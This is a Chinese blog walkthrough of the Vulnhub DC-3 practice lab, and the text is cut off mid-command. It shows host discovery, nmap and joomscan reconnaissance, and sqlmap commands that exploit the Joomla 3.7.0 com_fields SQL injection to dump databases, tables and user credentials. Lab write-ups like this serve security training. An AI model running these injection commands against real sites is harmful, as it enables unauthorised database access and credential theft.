Vulnhub DC-3靶场

RLXn0cC

已于 2023-06-11 00:11:31 修改

阅读量999

点赞数

分类专栏： vulnhub 靶场攻略文章标签：安全

于 2022-11-14 17:14:14 首次发布

本文链接：https://blog.csdn.net/weixin_47019868/article/details/127821464

版权

搭建靶场

靶场下载地址

DC: 3.2 ~ VulnHub

下载解压文件，并使用虚拟机软件创建目标

发现目标

netdiscover -r 192.168.226.0/24

发现目标对象为：192.168.226.142

信息收集

nmap -sS -sV -A -T4 -p- 192.168.226.142

使用nmap查看目标开启了那些端口与服务

指纹信息收集

使用Joomscan进行扫描

网站目录收集

漏洞利用

根据信息收集的资料网站采用Joomls 框架搭建版本为 3.7.0

搜集相关的漏洞

使用SQLmap 对其进行库名探测

sqlmap -u "http://192.168.226.142/index.php？option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

使用sqlmap 获取joomladb库中的表

sqlmap -u "http://192.168.226.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb --tables

使用sqlmap获取用户表中的内容

sqlmap -u "http://192.168.226.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering] -D joomladb -T '#__users' --columns

使用sqlmap获取账号与密码

sqlmap -u "http://192.168.226.142/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -